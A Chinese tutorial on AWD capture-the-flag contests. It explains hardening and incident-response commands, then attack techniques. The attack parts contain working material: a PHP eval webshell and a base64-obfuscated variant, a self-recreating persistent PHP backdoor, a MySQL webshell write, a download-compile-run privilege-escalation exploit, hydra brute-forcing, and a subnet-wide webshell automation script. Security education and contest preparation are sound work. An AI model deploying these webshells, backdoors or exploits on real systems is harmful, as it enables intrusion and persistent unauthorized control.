AWD 比赛全维度实战解析:从加固防御到攻击拿旗(附命令 / 脚本深度拆解)
第一章 AWD 比赛核心定义与赛制流程
1.1 AWD 核心定义
AWD(Attack With Defense,攻防兼备)是 CTF 线下赛的主流模式,核心逻辑是每支队伍拥有若干台配置相同的初始靶机(GameBox),比赛全程需完成两大核心动作:
-
「防御侧」:快速发现并修补自身靶机漏洞,阻断对手攻击,防止 Flag 被窃取;
-
「攻击侧」:挖掘对手靶机漏洞,利用漏洞获取 Flag 并提交得分;
最终以 "防御得分 + 攻击得分 + 基础分" 综合排名,是对团队应急响应、漏洞挖掘、系统加固、内网渗透能力的全方位考验。
1.2 标准赛制流程
| 阶段 | 时长 | 核心动作 | 对抗重点 |
|---|---|---|---|
| 赛前准备 | 10-15 分钟 | 熟悉靶机环境、分发账号密码、搭建本地调试环境 | 快速梳理靶机架构(Web / 数据库 / 内网),明确分工(加固手 / 攻击手 / 监控手) |
| 安全加固阶段 | 20-30 分钟 | 系统 / Web / 数据库 / 远程控制加固、日志监控部署 | 优先封堵高危漏洞(弱口令、未授权访问、命令执行),建立基础防御体系 |
| 自由攻击阶段 | 3-4 小时 | 信息搜集→漏洞利用→拿 Flag→提交得分;同时持续防御 | 攻防同步:一边加固自身防偷旗,一边批量攻击对手拿旗,控制攻击节奏 |
1.3 攻防核心逻辑
- 防御优先:"不丢分比多得分更重要" ------ 初期加固不到位会被对手持续偷旗,后期难以追分;
- 快速反击:加固完成后立即启动攻击,优先扫描同网段弱靶机,快速拿 Flag 建立分数优势;
- 持续监控:全程监控靶机文件、进程、端口,及时发现对手植入的后门 / 不死马,避免被长期控机。
第二章 安全加固环节 - 命令 / 脚本解析
2.1 Linux 系统加固(核心命令)
2.1.1 口令修改:passwd
-
核心用途:修改系统用户密码,封堵弱口令漏洞(AWD 中最易被利用的初始漏洞);
-
适用系统:Linux;
-
参数拆解:
passwd:核心命令(全称password),用于修改用户认证信息;username:指定要修改的用户(如root、www、mysql);
-
执行效果:
- 执行后提示输入新密码(无回显),需输入两次确认;
- 密码修改成功后,对手无法通过弱口令爆破该用户;
-
实战注意:
- 必须设置 "强密码"(大小写 + 数字 + 特殊字符,长度≥8),避免被
hydra快速爆破; - 重点修改
root、www、mysql、apache等高危用户,AWD 中靶机初始密码通常为弱口令(如123456、password); - 风险:若忘记密码会导致自身无法登录,建议记录在团队私密文档中。
- 必须设置 "强密码"(大小写 + 数字 + 特殊字符,长度≥8),避免被
2.1.2 定时任务检查 / 清理:crontab -l/crontab -r
-
核心用途:检查 / 删除恶意定时任务(对手常通过
crontab植入不死马、反弹 Shell); -
适用系统:Linux;
-
参数拆解:
crontab -l:-l(list)列出当前用户的所有定时任务;crontab -r:-r(remove)删除当前用户的所有定时任务;- 扩展:
crontab -u root -l:-u指定查看root用户的定时任务;
-
执行效果:
crontab -l:输出定时任务列表(如*/1 * * * * /tmp/backdoor.sh表示每分钟执行一次后门脚本);crontab -r:清空当前用户定时任务,阻断对手的持久化攻击;
-
实战注意:
- 加固阶段必须先执行
crontab -l检查,发现陌生任务立即删除; - 避免误删系统正常定时任务(如日志轮转),需甄别任务路径(
/tmp//var/tmp下的任务大概率是恶意的); - 对抗点:对手可能将定时任务写入
/etc/crontab(系统级),需额外检查该文件:cat /etc/crontab。
- 加固阶段必须先执行
2.1.3 目录 / 文件权限加固:chmod 0555
-
核心用途:限制 Web 目录 / 数据库配置文件的写入权限,防止对手上传 webshell;
-
适用系统:Linux;
-
参数拆解:
chmod:全称change mode,修改文件 / 目录权限;
-
0555:权限码(八进制),拆解为:- 第一位
0:特殊权限位(无特殊权限); - 第二位
5:所有者权限(r-x:读 + 执行,无写入); - 第三位
5:所属组权限(r-x); - 第四位
5:其他用户权限(r-x);
- 第一位
-
path:目标路径(如/var/www/html/、/etc/mysql/my.cnf); -
执行效果:
- 目标目录 / 文件仅允许 "读 + 执行",任何用户(包括
www)无法写入 / 修改文件; - 对手即使拿到 Web 权限,也无法上传 webshell 覆盖文件;
- 目标目录 / 文件仅允许 "读 + 执行",任何用户(包括
-
实战注意:
- 对比
chown root:root:chmod是 "权限控制"(能不能操作),chown是 "归属控制"(谁能操作),AWD 中需组合使用:chown root:root /var/www/html && chmod 0555 /var/www/html; - 坑点:若 Web 应用需要写入权限(如上传目录),需单独划分并限制 IP,避免全局禁写导致应用崩溃;
- 对抗点:对手可能通过提权(如
www提权到root)修改权限,需配合iptables限制远程连接。
- 对比
2.1.4 防火墙加固:iptables(核心命令集)
| 命令 | 核心用途 | 参数拆解 | 执行效果 | 实战注意 |
|---|---|---|---|---|
iptables -F |
清空现有规则 | -F(flush):清空所有链的规则 |
重置防火墙规则,避免默认规则放行高危端口 | 执行后需立即添加自定义规则,否则靶机完全暴露 |
iptables -P INPUT DROP |
设置默认入站策略为拒绝 | -P(policy):设置链的默认策略;INPUT:入站链;DROP:拒绝 |
所有未明确允许的端口 / IP 均无法访问靶机 | 必须先放行自身 IP 和必要端口(如 22/80),否则会断连 |
iptables -A INPUT -p tcp --dport 22 -s 自身IP -j ACCEPT |
仅允许自身 IP 访问 SSH | -A:添加规则;-p tcp:指定 TCP 协议;--dport 22:目标端口 22;-s 自身IP:源 IP;-j ACCEPT:允许 |
阻断对手爆破 SSH,仅团队可登录 | 需提前确认自身网段,避免误封自己 |
iptables -A INPUT -p tcp --dport 80 -j ACCEPT |
放行 80 端口(Web 服务) | --dport 80:目标端口 80 |
保证 Web 服务可访问(否则无法提交 Flag) | 可限制 IP 段:-s 192.168.1.0/24,仅允许比赛网段访问 |
2.2 Windows 系统加固(核心命令)
2.2.1 445 端口加固:netsh advfirewall set allprofiles state on+netsh advfirewall firewall add rule name="Block 445" dir=in action=block protocol=TCP localport=445
-
核心用途:关闭 445 端口(MS17-010 永恒之蓝漏洞利用端口),防止远程代码执行;
-
适用系统:Windows;
-
参数拆解:
-
netsh advfirewall set allprofiles state on:开启所有网络配置文件的防火墙;advfirewall:高级防火墙;allprofiles:所有配置文件(域 / 私有 / 公共);state on:启用;
-
netsh advfirewall firewall add rule:添加防火墙规则;name="Block 445":规则名称;dir=in:入站规则;action=block:阻断;protocol=TCP:TCP 协议;localport=445:本地端口 445;
-
-
执行效果:445 端口被完全阻断,对手无法利用 MS17-010 漏洞攻击靶机;
-
实战注意:
- 需管理员权限执行(
cmd右键 "以管理员身份运行"); - 验证:
netstat -ano | findstr "445",无输出则端口已关闭; - 对抗点:对手可能通过其他端口(如 139)或提权后重新开启 445,需定期检查。
- 需管理员权限执行(
2.2.2 账户权限限制:net user username /active:no
-
核心用途:禁用多余 / 高危用户(如
Guest、test),防止弱口令爆破; -
适用系统:Windows;
-
参数拆解:
net user:管理系统用户;username:目标用户;/active:no:禁用该用户;
-
执行效果:目标用户被禁用,无法登录系统 / 远程桌面;
-
实战注意:
- 禁止禁用
Administrator(若需保留,需修改密码为强密码); - 验证:
net user username,查看 "账户启用" 状态为 "否"; - 对抗点:对手提权后可能重新启用用户,需配合日志监控(
eventvwr.msc查看登录日志)。
- 禁止禁用
2.3 加固核心对抗逻辑
- 防御侧:加固的核心是 "最小权限原则"------ 仅开放必要端口 / 用户 / 权限,阻断对手的初始攻击路径;
- 攻击侧:对手会优先尝试 "绕过加固"(如修改
iptables规则、提权后重置密码),因此加固后需定期复查(每 10 分钟检查权限 / 端口 / 定时任务)。
第三章 基本信息搜集 - 命令全解析
3.1 系统信息搜集
3.1.1 Linux:uname -a
-
核心用途:获取系统内核版本(用于查找提权漏洞,如 CVE-2021-4034 polkit 提权);
-
适用系统:Linux;
-
参数拆解:
uname:全称unix name,显示系统信息;-a(all):显示所有信息(内核版本、主机名、系统架构、编译时间);
-
执行效果:输出示例:
Linux gamebox 5.4.0-125-generic #141-Ubuntu SMP Wed Aug 10 13:42:03 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux; -
实战注意:
- 重点关注内核版本(如
5.4.0-125),快速匹配 EXP(如searchsploit linux 5.4); - AWD 中靶机内核通常存在已知提权漏洞,是攻击的核心突破口。
- 重点关注内核版本(如
3.1.2 Windows:whoami /all
-
核心用途:获取当前用户权限、SID、组信息(判断是否为管理员,能否提权);
-
适用系统:Windows;
-
参数拆解:
whoami:显示当前用户;/all:显示所有信息(权限、组、SID);
-
执行效果:输出当前用户所属组(如
Administrators表示管理员权限)、权限列表(如SeImpersonatePrivilege); -
实战注意:
- 若显示
NT AUTHORITY\SYSTEM,说明已拿到最高权限,可直接读取C:\flag; - 若为普通用户,优先利用权限漏洞(如 SeImpersonatePrivilege 对应 JuicyPotato 提权)。
- 若显示
3.2 端口 / 服务搜集
3.2.1 Linux:netstat -tulnp
-
核心用途:查看开放端口、对应服务及进程 PID(定位高危服务,如未授权的 MySQL/Redis);
-
适用系统:Linux;
-
参数拆解:
netstat:网络状态工具;-t(tcp):显示 TCP 端口;-u(udp):显示 UDP 端口;-l(listening):仅显示监听端口;-n(numeric):显示端口号(而非服务名);-p(program):显示对应进程 PID / 名称;
-
执行效果:输出示例:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1234/apache2; -
实战注意:
- 重点关注
0.0.0.0:*(监听所有 IP)的端口,如 3306(MySQL)、6379(Redis); - 对比 Windows 命令
netstat -ano:-o显示进程 PID,可配合tasklist | findstr查找进程名。
- 重点关注
3.2.2 批量扫描:nmap -sn 192.168.1.0/24
-
核心用途:扫描比赛网段存活主机(快速定位可攻击的靶机);
-
适用系统:Linux/Windows(需安装 nmap);
-
参数拆解:
nmap:网络扫描工具;-sn(ping scan):仅 Ping 扫描,不扫描端口(快速);192.168.1.0/24:目标网段;
-
执行效果:输出存活主机 IP(如
192.168.1.10、192.168.1.11); -
实战注意:
- 扩展:
nmap -sS -p- 目标IP(-sS:SYN 扫描,隐蔽;-p-:扫描所有端口),定位开放的高危端口; - AWD 中需快速扫描存活主机,优先攻击 "响应慢 / 加固差" 的靶机。
- 扩展:
3.3 Flag 快速查找
3.3.1 Linux:grep -r "flag" / --include={*.php,*.txt,*.conf} 2>/dev/null
-
核心用途:递归查找系统中含 "flag" 关键词的文件(AWD 中 Flag 通常以
flag{xxx}形式存储); -
适用系统:Linux;
-
参数拆解:
grep:文本匹配工具;-r(recursive):递归查找;"flag":匹配关键词;/:根目录;--include={*.php,*.txt,*.conf}:仅查找指定后缀文件(减少无关结果);2>/dev/null:重定向错误输出(忽略无权限访问的目录);
-
执行效果:输出含 "flag" 的文件路径及内容片段;
-
实战注意:
- 优先查找
/flag、/var/www/html/flag.php、/tmp/flag.txt等路径(AWD 常用 Flag 存储位置); - 对比 Windows 命令:
findstr /s /i "flag" C:\*.*(/s递归,/i忽略大小写)。
- 优先查找
3.4 信息搜集实战技巧
- 优先级:先扫存活主机→再查端口 / 服务→最后找 Flag,快速定位高价值靶机;
- 效率:使用管道符简化输出,如
grep -r "flag" / 2>/dev/null | grep -v "Permission denied",仅显示有效结果; - 对抗:对手可能隐藏 Flag(如加密、改后缀),需结合 Web 源码、数据库内容查找。
第四章 Web 安全加固 - 命令 / 脚本解析
4.1 源码备份与权限控制
4.1.1 源码备份:tar -zcvf web_backup.tar.gz /var/www/html/
-
核心用途:加固前备份 Web 源码,防止误改导致应用崩溃;
-
适用系统:Linux;
-
参数拆解:
tar:打包工具;-z(gzip):压缩;-c(create):创建压缩包;-v(verbose):显示过程;-f(file):指定文件名;web_backup.tar.gz:备份文件名;/var/www/html/:目标目录;
-
执行效果:将 Web 目录打包压缩到当前目录,可通过
tar -zxvf web_backup.tar.gz恢复; -
实战注意:
- 备份后需将压缩包移至非 Web 目录(如
/root/),防止对手下载源码分析漏洞; - Windows 备份命令:
zip -r web_backup.zip C:\xampp\htdocs\(需安装 zip 工具)。
- 备份后需将压缩包移至非 Web 目录(如
4.1.2 Web 权限组合加固
bash
# 1. 修改Web目录归属为root,禁止www用户修改
chown -R root:root /var/www/html/
# 2. 仅允许root写入,其他用户只读执行
chmod -R 0555 /var/www/html/
# 3. 单独限制上传目录(若有)
chmod -R 0700 /var/www/html/upload/ && chown -R root:root /var/www/html/upload/
- 核心用途:阻断对手通过 Web 权限上传 webshell;
- 执行效果:
www用户(Web 服务运行用户)无法修改 / 写入 Web 目录文件; - 对抗点:对手可能通过文件包含漏洞读取其他目录文件,需配合
php.ini限制。
4.2 .htaccess 配置加固(Apache)
脚本内容
apache
# 禁止访问指定后缀文件(如flag.php、webshell.php)
<FilesMatch "\.(php|php5|php7|flag)$">
Order Allow,Deny
Deny from all
</FilesMatch>
# 禁止执行PHP脚本的上传目录
<Directory "/var/www/html/upload/">
php_flag engine off
Options -ExecCGI
AllowOverride None
</Directory>
# 限制IP访问后台
<Directory "/var/www/html/admin/">
Order Deny,Allow
Deny from all
Allow from 自身IP
</Directory>
-
脚本类型:Web 防御类;
-
核心功能:阻断对手访问敏感文件、执行上传目录的 PHP 脚本、限制后台 IP;
-
逐行解析:
FilesMatch:匹配指定文件后缀,Deny from all禁止所有 IP 访问;Directory "/var/www/html/upload":针对上传目录,php_flag engine off关闭 PHP 解析,-ExecCGI禁止执行 CGI 脚本;Directory "/var/www/html/admin":仅允许自身 IP 访问后台,阻断对手未授权访问;
-
使用方法:
- 将配置写入
/var/www/html/.htaccess; - 确保 Apache 开启
AllowOverride All(修改/etc/apache2/apache2.conf);
- 将配置写入
-
适配修改:
- 替换
自身IP为团队 IP / 网段; - 添加更多敏感后缀(如
.asp、.jsp)适配不同 Web 语言;
- 替换
-
对抗思路:
- 防御效果:对手即使上传 webshell,也无法执行 / 访问;
- 对手绕过方式:修改
.htaccess文件名、利用 Apache 解析漏洞(如webshell.php.xxx),需配合php.ini禁用解析漏洞。
4.3 php.ini 高危参数加固
核心修改项
ini
# 禁用高危函数(命令执行/文件操作)
disable_functions = exec,system,passthru,shell_exec,popen,proc_open,eval,assert,file_put_contents,unlink
# 限制PHP访问目录(仅允许Web目录)
open_basedir = /var/www/html/:/tmp/
# 关闭错误输出(防止泄露路径/源码)
display_errors = Off
# 禁止远程文件包含
allow_url_include = Off
allow_url_fopen = Off
-
核心功能:阻断 PHP 命令执行、文件包含、文件写入等高危操作;
-
逐行解析:
disable_functions:禁用可执行系统命令 / 写入文件的函数,是 AWD 中 PHP 加固的核心;open_basedir:限制 PHP 只能访问指定目录,防止对手读取/flag等敏感文件;display_errors:关闭错误输出,避免泄露数据库密码、文件路径;allow_url_include/allow_url_fopen:禁止远程包含,阻断php://input、http://等协议利用;
-
使用方法:
- 修改
/etc/php/7.4/apache2/php.ini(Apache)或/etc/php/7.4/cli/php.ini(CLI); - 重启 Apache:
systemctl restart apache2;
- 修改
-
对抗思路:
- 防御效果:90% 以上的 PHP webshell / 漏洞会被阻断;
- 对手绕过方式:利用未禁用的函数(如
pcntl_exec)、自定义函数绕过,需定期检查disable_functions。
第五章 数据库安全加固 - 命令 / 脚本解析
5.1 MySQL 加固(核心命令)
5.1.1 修改 root 密码:mysql -uroot -p -e "ALTER USER 'root'@'localhost' IDENTIFIED BY '新强密码';"
-
核心用途:封堵 MySQL root 弱口令,防止对手脱库 / 写入 webshell;
-
适用系统:Linux/Windows;
-
参数拆解:
mysql -uroot -p:以 root 登录 MySQL;-e:执行 SQL 语句;ALTER USER 'root'@'localhost':修改本地 root 用户密码;IDENTIFIED BY '新强密码':设置新密码;
-
执行效果:MySQL root 密码修改成功,对手无法通过弱口令登录;
-
实战注意:
- 限制 root 仅本地登录:
DELETE FROM mysql.user WHERE user='root' AND host!='localhost';,删除远程 root 账户; - 验证:
mysql -uroot -p新密码,能登录则修改成功。
- 限制 root 仅本地登录:
5.1.2 日志审计开启:set global general_log = on; set global general_log_file = '/var/log/mysql/general.log';
-
核心用途:记录所有 MySQL 操作,发现对手的脱库 / 写入操作;
-
执行效果:MySQL 会记录所有 SQL 语句到
/var/log/mysql/general.log; -
实战注意:
- 定期查看日志:
tail -f /var/log/mysql/general.log,发现SELECT * FROM flag、INTO OUTFILE等恶意语句; - 风险:日志文件会快速增大,需设置轮转(
logrotate)。
- 定期查看日志:
5.2 数据库加固对抗逻辑
- 防御侧:优先修改密码 + 限制远程登录,其次开启审计;
- 攻击侧:对手可能通过 Web 应用的 SQL 注入漏洞访问数据库,需同时加固 Web 层(过滤 SQL 注入关键字)。
第六章 远程控制加固(SSH/RDP)
6.1 SSH 加固(Linux)
核心配置修改(/etc/ssh/sshd_config)
ini
# 禁用root远程登录
PermitRootLogin no
# 仅允许指定用户登录
AllowUsers teamuser
# 修改SSH端口(默认22→6666)
Port 6666
# 禁用密码登录,仅允许密钥登录(进阶)
PasswordAuthentication no
PubkeyAuthentication yes
-
核心功能:阻断 SSH 暴力破解、限制登录用户 / 端口;
-
执行效果:
- 对手无法通过 root 登录 SSH;
- 需扫描 6666 端口才能发现 SSH,增加攻击成本;
-
实战注意:
- 修改端口后需重启 SSH:
systemctl restart sshd; - 必须保留一个普通用户(如
teamuser),并设置强密码; - 对抗点:对手可能通过端口扫描发现新端口,需配合
iptables限制 IP。
- 修改端口后需重启 SSH:
6.2 RDP 加固(Windows)
核心命令
cmd
# 1. 修改RDP端口(默认3389→3390)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3390 /f
# 2. 仅允许指定用户访问RDP
net localgroup "Remote Desktop Users" /add teamuser
net localgroup "Remote Desktop Users" Guest /delete
# 3. 重启远程桌面服务
net stop termservice && net start termservice
-
核心功能:修改 RDP 端口、限制登录用户,防止暴力破解;
-
实战注意:
- 需管理员权限执行;
- 验证:
netstat -ano | findstr "3390",确认端口已修改; - 对抗点:对手可能通过 MS12-020 等 RDP 漏洞攻击,需安装补丁。
第七章 应急响应 - 命令 / 脚本解析
7.1 恶意进程查杀
7.1.1 Linux:ps aux | grep -v grep | grep "backdoor" | awk '{print $2}' | xargs kill -9
-
核心用途:查找并查杀含 "backdoor" 关键词的恶意进程;
-
参数拆解:
ps aux:显示所有进程;grep -v grep:排除 grep 自身进程;grep "backdoor":匹配恶意进程;awk '{print $2}':提取进程 PID;xargs kill -9:强制查杀 PID;
-
执行效果:批量查杀恶意进程,阻断对手的持久化控制;
-
实战注意:
- 替换 "backdoor" 为其他关键词(如
bash、python、nc),查杀反弹 Shell 进程; - Windows 命令:
tasklist | findstr "backdoor.exe" && taskkill /f /pid PID。
- 替换 "backdoor" 为其他关键词(如
7.2 WebShell 查找(Linux)
核心命令
bash
# 查找含webshell特征的PHP文件
find /var/www/html/ -name "*.php" -exec grep -l "eval\|assert\|system\|base64_decode" {} \;
# 查找最近修改的文件(对手刚上传的webshell)
find /var/www/html/ -mtime -1 -type f # -mtime -1:1小时内修改的文件
-
核心用途:快速定位对手上传的 webshell;
-
执行效果:输出含 webshell 特征的文件路径;
-
实战注意:
- 特征关键词需覆盖免杀 webshell(如
$_POST、file_get_contents); - 找到后立即删除:
rm -rf webshell路径,并恢复备份。
- 特征关键词需覆盖免杀 webshell(如
7.3 应急响应核心逻辑
- 快速止损:先查杀进程 / 删除 webshell→再封堵漏洞→最后溯源;
- 避免扩大损失:禁止在被控制的靶机上执行未知命令,防止二次攻击;
- 对抗:对手可能植入多个 webshell / 不死马,需结合文件监控脚本持续监控。
第八章 自由攻击环节 - 命令 / 脚本解析
8.1 弱口令爆破
8.1.1 SSH 爆破:hydra -L user.txt -P pass.txt -t 10 -vV 目标IP ssh
-
核心用途:爆破 SSH 弱口令,获取靶机登录权限;
-
适用系统:Linux/Windows(需安装 hydra);
-
参数拆解:
hydra:暴力破解工具;-L user.txt:用户名字典;-P pass.txt:密码字典;-t 10:并发数(避免被靶机防火墙拦截);-vV:详细输出;目标IP:靶机 IP;ssh:爆破协议;
-
执行效果:输出成功的用户名 / 密码(如
root:123456); -
实战注意:
- 字典选择:优先使用 AWD 常用弱口令字典(如
root/123456、admin/admin); - 对抗点:对手可能限制 SSH IP / 开启防火墙,需快速爆破并立即登录。
- 字典选择:优先使用 AWD 常用弱口令字典(如
8.1.2 MySQL 爆破:hydra -L user.txt -P pass.txt -t 5 目标IP mysql
- 核心用途:爆破 MySQL 弱口令,写入 webshell / 读取 Flag;
- 执行效果:输出 MySQL 用户名 / 密码,可通过
mysql -u root -p密码 -h 目标IP登录; - 实战注意:登录后优先执行
SELECT @@datadir,查找数据库路径,尝试写入 webshell:SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/webshell.php';。
8.2 漏洞利用(以 CVE-2021-4034 polkit 提权为例)
利用命令
bash
# 1. 下载EXP
wget https://github.com/berdav/CVE-2021-4034/raw/main/cve-2021-4034-poc.c
# 2. 编译
gcc cve-2021-4034-poc.c -o poc
# 3. 执行提权
./poc
# 4. 提权成功后读取Flag
cat /flag
-
核心用途:利用 Linux 内核漏洞提权到 root,读取 Flag;
-
实战注意:
- 需匹配靶机内核版本(如 Ubuntu 20.04/22.04);
- 执行后若出现
#提示符,说明提权成功,立即读取 Flag 并提交。
8.3 WebShell 上传与利用
PHP 一句话木马:<?php @eval($_POST['cmd']);?>
-
核心用途:上传到靶机 Web 目录,通过蚁剑 / 菜刀连接执行命令;
-
使用方法:
- 通过文件上传漏洞将木马命名为
webshell.php上传到/var/www/html/upload/; - 蚁剑添加数据:URL 为
http://目标IP/upload/webshell.php,密码cmd; - 执行命令:
cat /flag,获取 Flag;
- 通过文件上传漏洞将木马命名为
-
对抗思路:
- 隐蔽操作:将木马命名为
logo.png.php(利用解析漏洞),避免被对手监控脚本发现; - 免杀技巧:使用 base64 编码绕过检测:
<?php eval(base64_decode('ZXZhbCgkX1BPU1RbY21kXSk7'));?>。
- 隐蔽操作:将木马命名为
第九章 内网渗透 - 命令 / 脚本解析
9.1 不死马脚本(PHP)
脚本内容
php
<?php
// 不死马核心:忽略连接关闭+无限循环生成自身
ignore_user_abort(true); // 忽略客户端断开连接
set_time_limit(0); // 取消执行时间限制
$self = __FILE__; // 当前文件路径
$content = file_get_contents($self); // 读取自身代码
while (true) {
// 每10秒检查并重建自身
if (!file_exists($self)) {
file_put_contents($self, $content);
chmod($self, 0777);
}
// 生成备份后门
$backup = '/var/www/html/backup_' . rand(1000,9999) . '.php';
if (!file_exists($backup)) {
file_put_contents($backup, $content);
}
sleep(10);
}
?>
-
脚本类型:攻击 / 持久化类;
-
核心功能:植入靶机后无法被删除(删除后自动重建),实现长期控制;
-
逐行解析:
ignore_user_abort(true):即使对手关闭连接,脚本仍在后台运行;set_time_limit(0):脚本无限运行,不超时;while (true):无限循环,每 10 秒检查自身是否存在,不存在则重建;$backup:生成随机命名的备份后门,增加删除难度;
-
使用方法:
- 通过文件上传 / 数据库写入将脚本上传到
/var/www/html/; - 访问一次脚本(
http://目标IP/不死马.php),触发后台运行;
- 通过文件上传 / 数据库写入将脚本上传到
-
适配修改:
- 替换
/var/www/html/为靶机 Web 目录; - 修改
sleep(10)为sleep(5),加快重建频率;
- 替换
-
对抗思路:
- 攻击效果:对手删除脚本后会自动重建,持续控制靶机;
- 防御侧对抗:查杀脚本进程(
ps aux | grep php)+ 删除所有备份文件 + 重启 Apache。
9.2 批量 getflag 脚本(Python)
脚本内容
python
import requests
import threading
import time
# 比赛网段
TARGET_NET = "192.168.1."
# Flag提交接口(根据比赛要求修改)
SUBMIT_URL = "http://scoreboard.ctf.com/submit"
# 线程数(避免被封)
THREAD_NUM = 5
# 获取Flag的函数
def get_flag(ip):
try:
# 假设通过Web漏洞获取Flag
url = f"http://{ip}/webshell.php"
data = {"cmd": "cat /flag"}
res = requests.post(url, data=data, timeout=3)
if "flag{" in res.text:
flag = res.text.split("flag{")[1].split("}")[0]
flag = f"flag{{{flag}}}"
# 提交Flag
submit_flag(flag)
print(f"[+] {ip} 获取Flag成功:{flag}")
else:
print(f"[-] {ip} 未获取到Flag")
except Exception as e:
print(f"[-] {ip} 访问失败:{e}")
# 提交Flag的函数
def submit_flag(flag):
try:
data = {"team": "your_team", "flag": flag}
requests.post(SUBMIT_URL, data=data, timeout=5)
except:
pass
# 多线程扫描网段
def scan_net():
threads = []
for i in range(1, 255):
ip = TARGET_NET + str(i)
t = threading.Thread(target=get_flag, args=(ip,))
threads.append(t)
t.start()
# 控制线程数
if len(threads) >= THREAD_NUM:
for t in threads:
t.join()
threads = []
if __name__ == "__main__":
scan_net()
-
脚本类型:攻击 / 自动化类;
-
核心功能:批量扫描比赛网段,利用 Webshell 获取 Flag 并自动提交;
-
逐行解析:
TARGET_NET:比赛网段,需根据实际修改;SUBMIT_URL:Flag 提交接口,由比赛主办方提供;get_flag(ip):向每个 IP 的 webshell 发送cat /flag命令,提取 Flag;submit_flag(flag):自动提交 Flag 到计分板,节省手动提交时间;scan_net():多线程扫描网段,提高效率;
-
使用方法:
- 修改
TARGET_NET、SUBMIT_URL、your_team为实际信息; - 执行脚本:
python3 getflag.py;
- 修改
-
适配修改:
- 替换
webshell.php和cmd为实际的 webshell 路径 / 密码; - 增加代理池,避免 IP 被封;
- 替换
-
对抗思路:
- 攻击效果:自动批量拿 Flag,大幅提升得分效率;
- 防御侧对抗:加固 Web 漏洞、监控 POST 请求、拉黑攻击 IP。
第十章 AWD 实战核心技巧与获奖策略
10.1 命令 / 脚本使用优先级
防御侧(加固阶段)
- 高优先级:修改所有弱口令(系统 / 数据库 / SSH)→ 关闭高危端口(445/3389 默认)→ 配置
iptables/ 防火墙; - 中优先级:Web 权限加固→
php.ini禁用高危函数→ 部署文件监控脚本; - 低优先级:日志审计→ 备份源码→ 隐藏 Flag 路径。
攻击侧(攻击阶段)
- 高优先级:网段扫描→ 弱口令爆破(SSH/MySQL)→ 简单 Web 漏洞利用(文件上传 / SQL 注入);
- 中优先级:提权漏洞利用→ 植入不死马→ 批量 getflag;
- 低优先级:内网横向移动→ 溯源对手 IP。
10.2 线下 AWD 关键
10.2.1 团队分工(3-5 人最佳)
-
加固手(1-2 人):负责靶机加固、应急响应、监控;
-
攻击手(1-2 人):负责信息搜集、漏洞利用、拿 Flag;
核心:分工明确,避免重复操作(如多人同时修改密码导致冲突)。
10.2.2 时间管理
- 加固阶段(30 分钟):前 10 分钟修改弱口令 + 关闭高危端口,中 10 分钟 Web / 数据库加固,后 10 分钟部署监控脚本;
- 攻击阶段:前 1 小时批量扫弱靶机拿基础分,中 2 小时利用提权漏洞拿高分,最后 1 小时防御反击 + 补全 Flag。
10.2.3 风险控制
- 禁止在自身靶机上运行未知 EXP,防止触发后门;
- 攻击时避免 "一刀切"(如批量删除对手文件),可能被裁判判违规;
- 定期备份靶机配置,防止加固失误导致应用崩溃。
10.3 常见坑点与避坑指南
| 坑点 | 避坑方法 |
|---|---|
| 加固时误封自身 IP | 先放行自身 IP 再设置iptables默认拒绝 |
| 上传的 webshell 被对手监控脚本删除 | 使用免杀马 + 随机命名 + 备份多个副本 |
| Flag 提交超时 / 重复提交 | 脚本添加去重逻辑 + 重试机制 |
| 提权 EXP 执行失败 | 提前测试 EXP 适配性,准备多个版本 |
| 不死马被对手查杀 | 隐藏进程(nohup php 不死马.php &)+ 修改脚本特征 |
10.4 核心对抗策略
- 防御:"最小权限 + 持续监控",让对手无漏洞可钻;
- 攻击:"快速拿旗 + 隐蔽持久化",在对手加固前拿到足够分数;
- 心态:不追求 "全拿 Flag",重点保证自身不丢分,稳步积累优势。
总结
AWD 比赛的核心是 "攻防平衡"------ 防御是基础,攻击是加分项,而命令 / 脚本的熟练使用是效率的关键。想要获奖,需做到:
- 赛前熟练掌握所有核心命令 / 脚本,形成 "加固 / 攻击模板";
- 赛中快速分工,优先封堵高危漏洞,再批量攻击弱靶机;
- 全程监控靶机状态,及时发现并反击对手的攻击;
- 灵活调整策略,根据比分情况(领先 / 落后)切换攻防重心。
通过系统化的加固、高效的攻击、默契的团队配合,即使是新手团队也能在 AWD 比赛中取得优异成绩。